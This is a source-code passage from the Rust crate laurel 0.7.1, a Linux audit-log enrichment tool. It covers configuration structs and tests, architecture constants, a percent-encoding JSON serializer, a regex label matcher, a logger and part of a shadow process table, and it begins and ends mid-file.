dev="fd:01" mode=100755 ouid=0 ogid=0 rdev="00:00" nametype="NORMAL" cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid="0" type=EOE msg=audit(1740992884.191:7058722): "# ).expect("Error in parsing second half of event"); let id = "1740992884.191:7058722"; let events = events.borrow(); let event = find_event(&events, id).unwrap_or_else(|| panic!("Did not find {id}")); println!("{}", event_to_json(&event)); assert!(event_to_json(&event).contains(r#"LABELS":["emacs"]"#)); } } laurel-0.7.1/src/config.rs000064400000000000000000000355451046102023000135330ustar 00000000000000use std::collections::HashSet; use std::fmt; use std::path::{Path, PathBuf}; use serde::{ de::{self, Deserializer, Visitor}, Deserialize, Serialize, }; use crate::coalesce::Settings; use crate::label_matcher::LabelMatcher; fn default_state_file() -> Option { Some(Path::new("state").into()) } fn deserialize_state_file<'de, D>(d: D) -> Result, D::Error> where D: Deserializer<'de>, { match PathBuf::deserialize(d)? { p if p == PathBuf::default() => Ok(None), p => Ok(Some(p)), } } const fn default_state_max_age() -> u64 { 60 } #[derive(Clone, Debug, Serialize, Deserialize, Eq, PartialEq)] pub struct Statefile { #[serde( default = "default_state_file", deserialize_with = "deserialize_state_file" )] pub file: Option, #[serde(default)] pub generations: u64, #[serde(rename = "max-age")] #[serde(default = "default_state_max_age")] pub max_age: u64, #[serde(rename = "write-state-period")] pub write_state_period: Option, } impl Default for Statefile { fn default() -> Self { Self { file: default_state_file(), generations: 0, max_age: default_state_max_age(), write_state_period: None, } } } #[derive(Clone, Default, Debug, Serialize, Deserialize, Eq, PartialEq)] pub struct Logfile { #[serde(default)] pub file: PathBuf, #[serde(rename = "read-users")] pub users: Option>, #[serde(rename = "read-groups")] pub groups: Option>, #[serde(default, rename = "read-other")] pub other: bool, pub size: Option, pub generations: Option, #[serde(rename = "line-prefix")] pub line_prefix: Option, } #[derive(Clone, Debug, Default, Serialize, Deserialize, Eq, PartialEq)] pub struct Debug { pub inputlog: Option, #[serde(rename = "parse-error-log")] pub parse_error_log: Option, } #[derive(PartialEq, Eq, Debug, Serialize, Deserialize, Hash)] #[serde(rename_all = "lowercase")] pub enum ArrayOrString { Array, String, } fn execve_argv_default() -> HashSet { let mut execve_argv = HashSet::new(); execve_argv.insert(ArrayOrString::Array); execve_argv } #[derive(Debug, Serialize, Deserialize)] pub struct Transform { #[serde(default = "execve_argv_default", rename = "execve-argv")] pub execve_argv: HashSet, #[serde(default, rename = "execve-argv-limit-bytes")] pub execve_argv_limit_bytes: Option, } impl Default for Transform { fn default() -> Self { Transform { execve_argv: execve_argv_default(), execve_argv_limit_bytes: None, } } } #[derive(Debug, Default, Serialize, Deserialize)] pub struct Translate { #[serde(default)] pub universal: bool, #[serde(default, rename = "user-db")] pub userdb: bool, #[serde(default, rename = "drop-raw")] pub drop_raw: bool, } fn execve_env_default() -> HashSet { let mut execve_env = HashSet::new(); execve_env.insert("LD_PRELOAD".into()); execve_env.insert("LD_LIBRARY_PATH".into()); execve_env } fn true_value() -> bool { true } #[derive(Debug, Serialize, Deserialize)] pub struct Enrich { #[serde(default = "execve_env_default", rename = "execve-env")] pub execve_env: HashSet, #[serde(default = "true_value")] pub container: bool, #[serde(default)] pub container_info: bool, #[serde(default = "true_value")] pub systemd: bool, #[serde(default = "true_value")] pub pid: bool, #[serde(default = "true_value")] pub script: bool, #[serde(default = "true_value", rename = "uid-groups")] pub uid_groups: bool, #[serde(default)] pub prefix: Option, } impl Default for Enrich { fn default() -> Self { Enrich { execve_env: execve_env_default(), container: true, container_info: false, systemd: true, pid: true, script: true, uid_groups: true, prefix: None, } } } fn default_32() -> usize { 32 } fn default_4096() -> usize { 4096 } #[derive(Default, Debug, Serialize, Deserialize)] pub struct LabelProcess { #[serde(default, rename = "label-keys")] pub label_keys: HashSet, #[serde(default, rename = "label-exe")] pub label_exe: Option, #[serde(default, rename = "unlabel-exe")] pub unlabel_exe: Option, #[serde(default, rename = "label-argv")] pub label_argv: Option, #[serde(default, rename = "unlabel-argv")] pub unlabel_argv: Option, #[serde(default = "default_4096", rename = "label-argv-bytes")] pub label_argv_bytes: usize, #[serde(default = "default_32", rename = "label-argv-count")] pub label_argv_count: usize, #[serde(default, rename = "label-script")] pub label_script: Option, #[serde(default, rename = "unlabel-script")] pub unlabel_script: Option, #[serde(default, rename = "propagate-labels")] pub propagate_labels: HashSet, } #[derive(Default, Debug, Serialize, Deserialize)] #[serde(rename_all = "lowercase")] pub enum FilterAction { #[default] #[serde(alias = "Drop")] Drop, #[serde(alias = "Log")] Log, } pub(crate) mod regex_set { use regex::bytes::RegexSet; use serde::{Deserialize, Deserializer, Serialize, Serializer}; pub(crate) fn serialize(v: &RegexSet, s: S) -> Result where S: Serializer, { v.patterns().to_vec().serialize(s) } pub(crate) fn deserialize<'de, D>(d: D) -> Result where D: Deserializer<'de>, { let v: Vec = Deserialize::deserialize(d)?; RegexSet::new(v).map_err(serde::de::Error::custom) } } #[derive(Default, Debug, Serialize, Deserialize)] pub struct Filter { #[serde(default, rename = "filter-keys")] pub filter_keys: HashSet, #[serde(default, rename = "filter-labels")] pub filter_labels: HashSet, #[serde(default, rename = "filter-raw-lines", with = "regex_set")] pub filter_raw_lines: regex::bytes::RegexSet, #[serde(default, rename = "filter-null-keys")] pub filter_null_keys: bool, #[serde(default, rename = "filter-action")] pub filter_action: FilterAction, #[serde(default = "true_value", rename = "keep-first-per-process")] pub keep_first_per_process: bool, } #[derive(Debug, Serialize, Default)] pub enum Input { #[default] Stdin, Unix(PathBuf), } impl std::fmt::Display for Input { fn fmt(&self, fmt: &mut std::fmt::Formatter) -> Result<(), std::fmt::Error> { match self { Input::Stdin => write!(fmt, "stdin"), Input::Unix(p) => write!(fmt, "unix:{}", p.to_string_lossy()), } } } impl<'de> Deserialize<'de> for Input { fn deserialize>(deserializer: D) -> Result { deserializer.deserialize_str(InputVisitor {}) } } struct InputVisitor {} impl Visitor<'_> for InputVisitor { type Value = Input; fn expecting(&self, formatter: &mut fmt::Formatter) -> fmt::Result { write!(formatter, "an input specification string") } fn visit_str(self, s: &str) -> Result where E: de::Error, { if s == "stdin" { Ok(Input::Stdin) } else if let Some(s) = s.strip_prefix("unix:") { let p = Path::new(s).to_path_buf(); Ok(Input::Unix(p)) } else { Err(de::Error::custom("unrecognized input specification")) } } } #[derive(Debug, Serialize, Deserialize)] pub struct Config { pub user: Option, pub directory: Option, #[serde(default)] pub input: Input, #[serde(default, rename = "statusreport-period")] pub statusreport_period: Option, #[serde(default)] pub marker: Option, #[serde(default)] pub state: Statefile, #[serde(default)] pub auditlog: Logfile, #[serde(default)] pub filterlog: Logfile, #[serde(default)] pub debug: Debug, #[serde(default)] pub transform: Transform, #[serde(default)] pub translate: Translate, #[serde(default)] pub enrich: Enrich, #[serde(default, rename = "label-process")] pub label_process: LabelProcess, #[serde(default)] pub filter: Filter, } impl Default for Config { fn default() -> Self { Config { user: None, directory: Some(".".into()), input: Input::Stdin, statusreport_period: None, marker: None, state: Statefile { file: Some("state".into()), generations: 3, max_age: 60, write_state_period: None, }, auditlog: Logfile { file: "audit.log".into(), size: Some(10 * 1024 * 1024), generations: Some(5), ..Logfile::default() }, filterlog: Logfile { file: "filtered.log".into(), size: Some(10 * 1024 * 1024), generations: Some(5), ..Logfile::default() }, debug: Debug::default(), transform: Transform::default(), translate: Translate::default(), enrich: Enrich::default(), label_process: LabelProcess::default(), filter: Filter::default(), } } } impl std::fmt::Display for Config { fn fmt(&self, fmt: &mut std::fmt::Formatter) -> Result<(), std::fmt::Error> { write!( fmt, "({}user={} directory={} statusreport-period={} file={} users={} size={} generations={})", self.marker.as_ref().map(|m| format!("marker={m} ")).unwrap_or("".to_string()), self.user.clone().unwrap_or_else(|| "n/a".to_string()), self.directory .clone() .unwrap_or_else(|| PathBuf::from(".")) .display(), self.statusreport_period.unwrap_or(0), self.auditlog.file.to_string_lossy(), self.auditlog .users .clone() .unwrap_or_else(|| vec!["n/a".to_string()]) .join(","), self.auditlog.size.unwrap_or(0), self.auditlog.generations.unwrap_or(0) ) } } impl Config { pub fn make_coalesce_settings(&self) -> Settings { Settings { execve_argv_list: self.transform.execve_argv.contains(&ArrayOrString::Array), execve_argv_string: self.transform.execve_argv.contains(&ArrayOrString::String), execve_argv_limit_bytes: self.transform.execve_argv_limit_bytes, execve_env: self .enrich .execve_env .iter() .map(|s| s.as_bytes().to_vec()) .collect(), enrich_container: self.enrich.container, enrich_container_info: self.enrich.container_info, enrich_systemd: self.enrich.systemd, enrich_pid: self.enrich.pid, enrich_script: self.enrich.script, enrich_uid_groups: self.enrich.uid_groups, enrich_prefix: self.enrich.prefix.clone(), proc_label_keys: self .label_process .label_keys .iter() .map(|s| s.as_bytes().to_vec()) .collect(), proc_propagate_labels: self .label_process .propagate_labels .iter() .map(|s| s.as_bytes().to_vec()) .collect(), translate_universal: self.translate.universal, translate_userdb: self.translate.userdb, drop_translated: self.translate.drop_raw, label_exe: self.label_process.label_exe.clone(), unlabel_exe: self.label_process.unlabel_exe.clone(), label_argv: self.label_process.label_argv.clone(), unlabel_argv: self.label_process.unlabel_argv.clone(), label_argv_bytes: self.label_process.label_argv_bytes, label_argv_count: self.label_process.label_argv_count, label_script: self.label_process.label_script.clone(), unlabel_script: self.label_process.unlabel_script.clone(), filter_keys: self .filter .filter_keys .iter() .map(|s| s.as_bytes().to_vec()) .collect(), filter_labels: self .filter .filter_labels .iter() .map(|s| s.as_bytes().to_vec()) .collect(), filter_null_keys: self.filter.filter_null_keys, filter_raw_lines: self.filter.filter_raw_lines.clone(), filter_first_per_process: !self.filter.keep_first_per_process, } } } #[cfg(test)] mod test { use super::*; use std::path::Path; #[test] fn simple() { let c: Config = toml::de::from_str( r#" user = "somebody" directory = "/path/to/somewhere" statusreport-period = 86400 [auditlog] file = "somefile" read-users = ["splunk"] [state] "#, ) .unwrap(); println!("{:#?}", &c); assert_eq!(c.user, Some("somebody".to_string())); assert_eq!( c.directory, Some(Path::new("/path/to/somewhere").to_path_buf()) ); assert_eq!(c.statusreport_period, Some(86400)); assert_eq!( c.auditlog, Logfile { file: Path::new("somefile").to_path_buf(), users: Some(vec!["splunk".to_string()]), ..Logfile::default() } ); assert_eq!( c.state, Statefile { file: Some(Path::new("state").into()), ..Statefile::default() } ); } #[test] fn parse_defaults() { let cfg_default = toml::de::from_str::("").unwrap(); println!("{}", toml::to_string(&cfg_default).unwrap()); println!("--------------------"); let cfg_empty_sections = toml::de::from_str::( r#" [auditlog] [filterlog] [state] [debug] [transform] [translate] [enrich] [label-process] [filter] "#, ) .unwrap(); println!("{}", toml::to_string(&cfg_empty_sections).unwrap()); // FIXME This does not work because HashSet ordering is not stable. // assert!(toml::to_string(&cfg_default) == toml::to_string(&cfg_empty_sections)); } #[test] fn statefile() { let cfg: Config = toml::de::from_str( r#" [state] file = "" "#, ) .expect("toml parse error"); assert_eq!(cfg.state.file, None); } } laurel-0.7.1/src/const.rs.in000064400000000000000000000005041046102023000140040ustar 00000000000000use lazy_static::lazy_static; use std::collections::HashMap; lazy_static! { pub static ref SYSCALL_NAMES: HashMap<&'static str, HashMap> = { let mut hm = HashMap::new(); /* @SYSCALL_BUILD@ */ hm }; } pub static URING_OPS: [Option<&[u8]>; 64] = [ /* @URING_OPS@ */ ]; laurel-0.7.1/src/constants.rs000064400000000000000000000060011046102023000142630ustar 00000000000000include!(concat!(env!("OUT_DIR"), "/const.rs")); /* Note: The table below has been generated by something like the following script: ``` #!/bin/sh set -eu LINUX=~/src/linux echo '#include ' \ | cpp -dM -D__LINUX_COMPILER_TYPES_H -I "${LINUX}/include/uapi" -I "${LINUX}/tools/include" \ | sed -ne '/^#define AUDIT_ARCH_/ { ; s/^.* \(AUDIT_ARCH_[A-Z0-9_]*\) .*$/\1/; p }' \ | sort -u \ | ( \ cat< #include char* lc(char* s) { static char l[64]; for (int i=0; s[i] != 0; i++) { if (s[i] >= 'A' && s[i] <= 'Z') l[i] = s[i] | 0x20; else l[i] = s[i]; l[i+1] = 0; } return l; } int main() { EOF while read token; do echo 'printf("(\"%s\", 0x%08x),\\n", lc("'$token'") + 11, '$token');' done echo "}" ) \ | gcc -Wall -o print-audit-archs -xc - ./print-audit-archs rm -f print-audit-archs ``` */ const ARCHS: &[(&str, u32)] = &[ ("aarch64", 0xc00000b7), ("alpha", 0xc0009026), ("arcompact", 0x4000005d), ("arcompactbe", 0x0000005d), ("arcv2", 0x400000c3), ("arcv2be", 0x000000c3), ("arm", 0x40000028), ("armeb", 0x00000028), ("c6x", 0x4000008c), ("c6xbe", 0x0000008c), ("cris", 0x4000004c), ("csky", 0x400000fc), ("frv", 0x00005441), ("h8300", 0x0000002e), ("hexagon", 0x000000a4), ("i386", 0x40000003), ("ia64", 0xc0000032), ("loongarch32", 0x40000102), ("loongarch64", 0xc0000102), ("m32r", 0x00000058), ("m68k", 0x00000004), ("microblaze", 0x000000bd), ("mips", 0x00000008), ("mips64", 0x80000008), ("mips64n32", 0xa0000008), ("mipsel", 0x40000008), ("mipsel64", 0xc0000008), ("mipsel64n32", 0xe0000008), ("nds32", 0x400000a7), ("nds32be", 0x000000a7), ("nios2", 0x40000071), ("openrisc", 0x0000005c), ("parisc", 0x0000000f), ("parisc64", 0x8000000f), ("ppc", 0x00000014), ("ppc64", 0x80000015), ("ppc64le", 0xc0000015), ("riscv32", 0x400000f3), ("riscv64", 0xc00000f3), ("s390", 0x00000016), ("s390x", 0x80000016), ("sh", 0x0000002a), ("sh64", 0x8000002a), ("shel", 0x4000002a), ("shel64", 0xc000002a), ("sparc", 0x00000002), ("sparc64", 0x8000002b), ("tilegx", 0xc00000bf), ("tilegx32", 0x400000bf), ("tilepro", 0x400000bc), ("unicore", 0x4000006e), ("x86_64", 0xc000003e), ("xtensa", 0x0000005e), ]; lazy_static! { pub static ref ARCH_IDS: HashMap<&'static str, u32> = { let mut hm = HashMap::with_capacity(ARCHS.len()); for (name, value) in ARCHS { hm.insert(*name, *value); } hm }; pub static ref ARCH_NAMES: HashMap = { let mut hm = HashMap::with_capacity(ARCHS.len()); for (name, value) in ARCHS { hm.insert(*value, *name); } hm }; } pub fn initialize() { lazy_static::initialize(&SYSCALL_NAMES); lazy_static::initialize(&ARCH_IDS); } laurel-0.7.1/src/json.rs000064400000000000000000000143451046102023000132320ustar 00000000000000use std::{ fmt, io::{self, Read, Write}, }; use serde::de; use crate::quote::*; /// A Formatter for serde_josn that outputs byte buffers as /// URI-encodeed strings. #[derive(Clone, Debug)] pub struct SpecialFormatter; impl serde_json::ser::Formatter for SpecialFormatter { fn write_byte_array(&mut self, writer: &mut W, value: &[u8]) -> io::Result<()> where W: ?Sized + Write, { self.begin_string(writer)?; URIEscapeWriter(&mut BackslashEscapeWriter(writer)) .write(value) .map(|_| ())?; self.end_string(writer) } } pub fn to_writer(writer: W, value: &T) -> serde_json::Result<()> where W: Write, T: ?Sized + serde::Serialize, { let mut ser = serde_json::Serializer::with_formatter(writer, SpecialFormatter); value.serialize(&mut ser) } struct Deserializer(serde_json::Deserializer>); impl Deserializer { fn new(reader: R) -> Self { Deserializer(serde_json::Deserializer::from_reader(reader)) } } macro_rules! forward { ($method:ident ( $($var:ident: $ty:ty),* ) ) => { fn $method(self $(, $var : $ty)* , visitor: V) -> serde_json::Result where V: de::Visitor<'de>, { self.0.$method($($var ,)* visitor) } }; } macro_rules! forward_trivial { ( $($method:ident),* ) => { $( fn $method(self, visitor: V) -> serde_json::Result where V: de::Visitor<'de>, { self.0.$method(visitor) } )* } } use std::marker::PhantomData; struct BytesVisitor<'de, V: de::Visitor<'de>>(V, PhantomData<&'de ()>); impl<'de, V> de::Visitor<'de> for BytesVisitor<'de, V> where V: de::Visitor<'de>, { type Value = >::Value; fn expecting(&self, formatter: &mut fmt::Formatter) -> fmt::Result { formatter.write_str("a string containing vaild percent-escape expressions") } fn visit_bytes(self, v: &[u8]) -> Result { let mut decoded = vec![]; let mut input = v.iter(); while let Some(c) = input.next() { decoded.push(*c); if *c == b'%' { let x1 = input .next() .ok_or_else(|| de::Error::custom("unexpected end of string".to_string()))?; let x2 = input .next() .ok_or_else(|| de::Error::custom("unexpected end of string".to_string()))?; let idx = decoded.len() - 1; faster_hex::hex_decode(&[*x1, *x2], &mut decoded[idx..=idx]) .map_err(de::Error::custom)?; } } self.0.visit_bytes(&decoded) } } impl<'de, R: Read> de::Deserializer<'de> for &mut Deserializer { type Error = serde_json::Error; forward_trivial! { deserialize_any, deserialize_bool, deserialize_f32, deserialize_f64, deserialize_char, deserialize_str, deserialize_string, deserialize_option, deserialize_unit, deserialize_u8, deserialize_u16, deserialize_u32, deserialize_u64, deserialize_u128, deserialize_i8, deserialize_i16, deserialize_i32, deserialize_i64, deserialize_i128, deserialize_seq, deserialize_map, deserialize_identifier, deserialize_ignored_any } forward! {deserialize_unit_struct ( name: &'static str ) } forward! {deserialize_newtype_struct ( name: &'static str ) } forward! {deserialize_tuple ( len: usize ) } forward! {deserialize_tuple_struct ( name: &'static str, len: usize ) } forward! {deserialize_struct ( name: &'static str, fields: &'static [&'static str] ) } forward! {deserialize_enum ( name: &'static str, variants: &'static [&'static str] ) } fn deserialize_bytes(self, visitor: V) -> serde_json::Result where V: de::Visitor<'de>, { // problem: we can't access peek self.0.deserialize_bytes(BytesVisitor(visitor, PhantomData)) } fn deserialize_byte_buf(self, visitor: V) -> serde_json::Result where V: de::Visitor<'de>, { self.deserialize_bytes(visitor) } } pub fn from_reader<'de, R, T>(reader: R) -> serde_json::Result where R: Read, T: de::Deserialize<'de>, { let mut d = crate::json::Deserializer::new(reader); de::Deserialize::deserialize(&mut d) } #[cfg(test)] mod test { use super::{from_reader, to_writer}; fn ser(value: &[u8]) -> String { let mut buf = vec![]; to_writer(&mut buf, serde_bytes::Bytes::new(value)).unwrap(); String::from_utf8(buf).unwrap() } fn de(value: &str) -> serde_bytes::ByteBuf { from_reader(value.as_bytes()).unwrap() } #[test] fn json_serialize() { for (buf, serialized) in &[ (&b" "[..], r#"" ""#), (&b"asdf"[..], r#""asdf""#), (&b"+"[..], r#""%2b""#), (&b"%"[..], r#""%25""#), (&b"+++"[..], r#""%2b%2b%2b""#), (&b"%%%"[..], r#""%25%25%25""#), (&b"%+%"[..], r#""%25%2b%25""#), (&b"\xc3\xa4"[..], r#""ä""#), (&b"\xe2\x82\xac"[..], r#""€""#), (&b"\xf0\x9f\x92\x96"[..], r#""💖""#), (&b"\xc3\xa4\xc3\xb6\xc3\xbc"[..], r#""äöü""#), (&b"abcd\xc3\xa4\xc3\xb6\xc3\xbcefgh"[..], r#""abcdäöüefgh""#), (&b"\xf0\x9f\x84\xbb\xf0\x9f\x84\xb0\xf0\x9f\x85\x84\xf0\x9f\x85\x81\xf0\x9f\x84\xb4\xf0\x9f\x84\xbb"[..], r#""🄻🄰🅄🅁🄴🄻""#), (&b"\xc3\xc3\xa4"[..], r#""%c3ä""#), (&b"\xf0\xf0\x9f\x92\x96"[..], r#""%f0💖""#), (&b"\xf0\x9f\xf0\x9f\x92\x96"[..], r#""%f0%9f💖""#), (&b"\xf0\x9f\x92\xf0\x9f\x92\x96"[..], r#""%f0%9f%92💖""#), (&b"\xed\xa0\x80"[..], r#""%ed%a0%80""#), // illegal surrogate codepoint 0xd800 (&b"\xed\xa3\xbf"[..], r#""%ed%a3%bf""#), // illegal surrogate codepoint 0xd8ff (&b"\xed\xbf\xbf"[..], r#""%ed%bf%bf""#), // illegal surrogate codepoint 0xdfff ] { assert_eq!(ser(buf), *serialized); assert_eq!(*buf, *de(serialized)); } } } laurel-0.7.1/src/label_matcher.rs000064400000000000000000000046751046102023000150500ustar 00000000000000use std::fmt; use regex::bytes::RegexSet; use serde::de::{self, Deserializer, MapAccess, Visitor}; use serde::ser::{SerializeMap, Serializer}; use serde::{Deserialize, Serialize}; #[derive(Clone, Debug)] pub struct LabelMatcher { set: RegexSet, tags: Vec>, } impl LabelMatcher { pub fn new(exprs: &[(&str, &str)]) -> Result { let mut regexes = Vec::with_capacity(exprs.len()); let mut tags = Vec::with_capacity(exprs.len()); for (r, t) in exprs { regexes.push(r); tags.push(Vec::from(t.as_bytes())); } let set = RegexSet::new(regexes)?; Ok(Self { set, tags }) } // Return the list of tags that are supposed to describe text pub fn matches(&self, text: &[u8]) -> Vec<&[u8]> { self.set .matches(text) .iter() .map(|i| self.tags[i].as_ref()) .collect() } } impl Serialize for LabelMatcher { // This is a lossy serializer that is intended to be used for debugging only. fn serialize(&self, s: S) -> Result { let mut map = s.serialize_map(None)?; let mut keys = self.set.patterns().iter(); let mut values = self.tags.iter(); while let (Some(k), Some(v)) = (keys.next(), values.next()) { map.serialize_entry(k, &String::from_utf8_lossy(v))?; } map.end() } } impl<'de> Deserialize<'de> for LabelMatcher { fn deserialize>(deserializer: D) -> Result { deserializer.deserialize_map(LabelMatcherVisitor {}) } } struct LabelMatcherVisitor {} impl<'de> Visitor<'de> for LabelMatcherVisitor { type Value = LabelMatcher; fn expecting(&self, formatter: &mut fmt::Formatter) -> fmt::Result { write!(formatter, "a non-empty regexp=>label map") } fn visit_map(self, mut access: A) -> Result where A: MapAccess<'de>, { let mut kvs: Vec<(String, String)> = Vec::new(); while let Some((k, v)) = access.next_entry()? { kvs.push((k, v)); } if kvs.is_empty() { Err(de::Error::custom("empty hash")) } else { let kvs = kvs .iter() .map(|(k, v)| (k.as_ref(), v.as_ref())) .collect::>(); Ok(LabelMatcher::new(&kvs).map_err(de::Error::custom)?) } } } laurel-0.7.1/src/lib.rs000064400000000000000000000005751046102023000130270ustar 00000000000000pub const VERSION: &str = env!("CARGO_PKG_VERSION"); pub mod coalesce; pub mod config; pub mod constants; pub mod json; pub mod label_matcher; pub mod logger; pub mod proc; #[cfg(all(feature = "procfs", target_os = "linux"))] pub mod procfs; pub(crate) mod quote; pub mod rotate; #[cfg(target_os = "linux")] pub mod sockaddr; #[cfg(test)] mod test; pub mod types; pub mod userdb; laurel-0.7.1/src/logger.rs000064400000000000000000000023741046102023000135370ustar 00000000000000use std::env::args; use std::ffi::OsStr; use std::path::PathBuf; use log; use simple_logger; use syslog; pub struct Logger { simple: simple_logger::SimpleLogger, syslog: Option, } impl Default for Logger { fn default() -> Self { let cmd: PathBuf = args().next().unwrap_or_else(|| "".into()).into(); let simple = simple_logger::SimpleLogger::new(); let syslog = syslog::unix(syslog::Formatter3164 { facility: syslog::Facility::LOG_DAEMON, hostname: None, process: cmd .file_name() .unwrap_or_else(|| OsStr::new("")) .to_string_lossy() .into(), pid: std::process::id(), }) .map(syslog::BasicLogger::new) .ok(); Logger { simple, syslog } } } impl log::Log for Logger { fn enabled(&self, _metadata: &log::Metadata<'_>) -> bool { true } fn log(&self, record: &log::Record<'_>) { self.simple.log(record); if let Some(l) = self.syslog.as_ref() { l.log(record) } } fn flush(&self) { self.simple.flush(); if let Some(l) = self.syslog.as_ref() { l.flush() } } } laurel-0.7.1/src/proc.rs000064400000000000000000000427561046102023000132330ustar 00000000000000use std::cmp::Ordering; use std::collections::{BTreeMap, BTreeSet, HashSet}; use std::fmt::{self, Display}; use std::iter::Iterator; use std::str::FromStr; use std::vec::Vec; #[cfg(all(feature = "procfs", target_os = "linux"))] use faster_hex::hex_decode; use serde::{Deserialize, Serialize}; use serde_with::{DeserializeFromStr, SerializeDisplay}; use thiserror::Error; use crate::label_matcher::LabelMatcher; use linux_audit_parser::*; use crate::coalesce; #[cfg(all(feature = "procfs", target_os = "linux"))] use crate::procfs; #[derive(Clone, Debug, Default, Serialize, Deserialize)] pub struct ContainerInfo { #[serde(with = "faster_hex::nopfx_lowercase")] pub id: Vec, } /// Host-unique identifier for processes #[derive(Clone, Copy, Debug, PartialEq, Eq, DeserializeFromStr, SerializeDisplay)] pub enum ProcessKey { Event(EventID), Observed { time: u64, pid: u32 }, } impl Display for ProcessKey { fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result { match self { ProcessKey::Event(id) => { write!(f, "id[{id}]") } ProcessKey::Observed { time: t, pid: p } => { write!(f, "ob[{t},{p}]") } } } } #[derive(Debug, Error)] pub enum ParseProcessKeyError { #[error("invalid tag")] Tag, #[error("invalid format")] Format, #[error("id")] ID(ParseEventIDError), #[error("int")] Int(std::num::ParseIntError), } impl FromStr for ProcessKey { type Err = ParseProcessKeyError; fn from_str(s: &str) -> Result { if let Some(s) = s.strip_prefix("id[") { let s = s.strip_suffix(']').ok_or(ParseProcessKeyError::Format)?; Ok(ProcessKey::Event( s.parse().map_err(ParseProcessKeyError::ID)?, )) } else if let Some(s) = s.strip_prefix("ob[") { let s = s.strip_suffix(']').ok_or(ParseProcessKeyError::Format)?; let (msec, pid) = s.split_once(',').ok_or(ParseProcessKeyError::Format)?; let time = msec.parse().map_err(ParseProcessKeyError::Int)?; let pid = pid.parse().map_err(ParseProcessKeyError::Int)?; Ok(ProcessKey::Observed { time, pid }) } else { Err(ParseProcessKeyError::Tag) } } } impl Default for ProcessKey { fn default() -> Self { ProcessKey::Observed { time: 0, pid: 0 } } } impl Ord for ProcessKey { fn cmp(&self, other: &Self) -> Ordering { match (self, other) { (Self::Event(s), Self::Event(o)) => s .timestamp .cmp(&o.timestamp) .then_with(|| s.sequence.cmp(&o.sequence)), (Self::Observed { time: s, pid: _ }, Self::Event(o)) => { s.cmp(&o.timestamp).then(Ordering::Less) } (Self::Event(s), Self::Observed { time: o, pid: _ }) => { s.timestamp.cmp(o).then(Ordering::Greater) } (Self::Observed { time: st, pid: sp }, Self::Observed { time: ot, pid: op }) => { st.cmp(ot).then_with(|| sp.cmp(op)) } } } } impl PartialOrd for ProcessKey { fn partial_cmp(&self, other: &Self) -> Option { Some(self.cmp(other)) } } #[derive(Clone, Debug, Default, Serialize, Deserialize)] pub struct Process { /// "primary key", unique per host pub key: ProcessKey, /// parent's key, if a parent has been recorded. pub parent: Option, /// process ID pub pid: u32, /// parent's porocess ID pub ppid: u32, /// path to binary #[serde(with = "serde_bytes")] pub exe: Option>, /// process-settable argv[0] #[serde(with = "serde_bytes")] pub comm: Option>, /// Labels assigned to process pub labels: HashSet>, #[cfg(all(feature = "procfs", target_os = "linux"))] pub container_info: Option, #[cfg(all(feature = "procfs", target_os = "linux"))] pub systemd_service: Option>>, } #[cfg(all(feature = "procfs", target_os = "linux"))] impl From for Process { fn from(p: procfs::ProcPidInfo) -> Self { Self { key: ProcessKey::Observed { time: p.starttime, pid: p.pid, }, parent: None, pid: p.pid, ppid: p.ppid, labels: HashSet::new(), exe: p.exe, comm: p.comm, container_info: p .cgroup .as_deref() .and_then(try_extract_container_id) .map(|id| ContainerInfo { id }), systemd_service: p.cgroup.as_deref().and_then(try_extract_systemd_service), } } } #[cfg(all(feature = "procfs", target_os = "linux"))] fn extract_sha256(buf: &[u8]) -> Option> { let mut dec = [0u8; 32]; match buf.len() { n if n < 64 => None, _ if hex_decode(&buf[buf.len() - 64..], &mut dec).is_ok() => Some(Vec::from(dec)), _ if hex_decode(&buf[..64], &mut dec).is_ok() => Some(Vec::from(dec)), _ => None, } } /// Try to determine container ID from cgroup path #[cfg(all(feature = "procfs", target_os = "linux"))] pub(crate) fn try_extract_container_id(path: &[u8]) -> Option> { for fragment in path.split(|&c| c == b'/') { let fragment = if fragment.ends_with(&b".scope"[..]) { &fragment[..fragment.len() - 6] } else { fragment }; match extract_sha256(fragment) { None => continue, Some(id) => return Some(id), } } None } /// Try to extract "something.service" fragments from cgroup path #[cfg(all(feature = "procfs", target_os = "linux"))] pub(crate) fn try_extract_systemd_service(path: &[u8]) -> Option>> { let svc: Vec<_> = path .split(|&c| c == b'/') .filter_map(|f| f.strip_suffix(&b".service"[..])) .map(Vec::from) .collect(); if svc.is_empty() { None } else { Some(svc) } } impl Process { /// Generate a shadow process table entry from /proc/$PID for a given PID #[cfg(all(feature = "procfs", target_os = "linux"))] pub fn parse_proc(pid: u32) -> Result { procfs::parse_proc_pid(pid) .map(|p| p.into()) .map_err(ProcError::ProcFSError) } } #[derive(Debug, Error)] pub enum ProcError { #[cfg(all(feature = "procfs", target_os = "linux"))] #[error("{0}")] ProcFSError(procfs::ProcFSError), } /// Shadow process table /// /// This process table replica can be fed with EXECVE-based events or /// from /proc entries. #[derive(Debug, Default, Clone, Serialize, Deserialize)] pub struct ProcTable { pub processes: BTreeMap, pub current: BTreeMap, } impl ProcTable { /// Constructs process table from /proc entries /// /// If label_exe and propagate_labels are supplied, Process labels /// based on executable are applied and propagated to children. pub fn from_proc( label_exe: Option, propagate_labels: &HashSet>, ) -> Result { let mut pt = ProcTable { processes: BTreeMap::new(), current: BTreeMap::new(), }; #[cfg(all(feature = "procfs", target_os = "linux"))] { for pid in procfs::get_pids().map_err(ProcError::ProcFSError)? { // /proc/ access is racy. Ignore errors here. if let Ok(mut proc) = Process::parse_proc(pid) { if let (Some(label_exe), Some(exe)) = (&label_exe, &proc.exe) { proc.labels .extend(label_exe.matches(exe).iter().map(|v| Vec::from(*v))); } pt.insert(proc); } } // build parent/child relationships for proc in pt.processes.values_mut() { if proc.parent.is_none() { proc.parent = pt.current.get(&proc.pid).cloned(); } } } if let Some(label_exe) = &label_exe { for proc in pt.processes.values_mut() { if let Some(exe) = &proc.exe { proc.labels .extend(label_exe.matches(exe).into_iter().map(|c| c.into())) } } if !propagate_labels.is_empty() { /* TODO */ } } Ok(pt) } pub fn insert(&mut self, proc: Process) { let (pid, key) = (proc.pid, proc.key); self.processes.insert(proc.key, proc); self.current.insert(pid, key); } /// Retrieves a process by key. pub fn get_key(&self, key: &ProcessKey) -> Option<&Process> { self.processes.get(key) } /// Retrieves a mutable process by key. pub fn get_key_mut(&mut self, key: &ProcessKey) -> Option<&mut Process> { self.processes.get_mut(key) } /// Retrieves a process by pid. pub fn get_pid(&self, pid: u32) -> 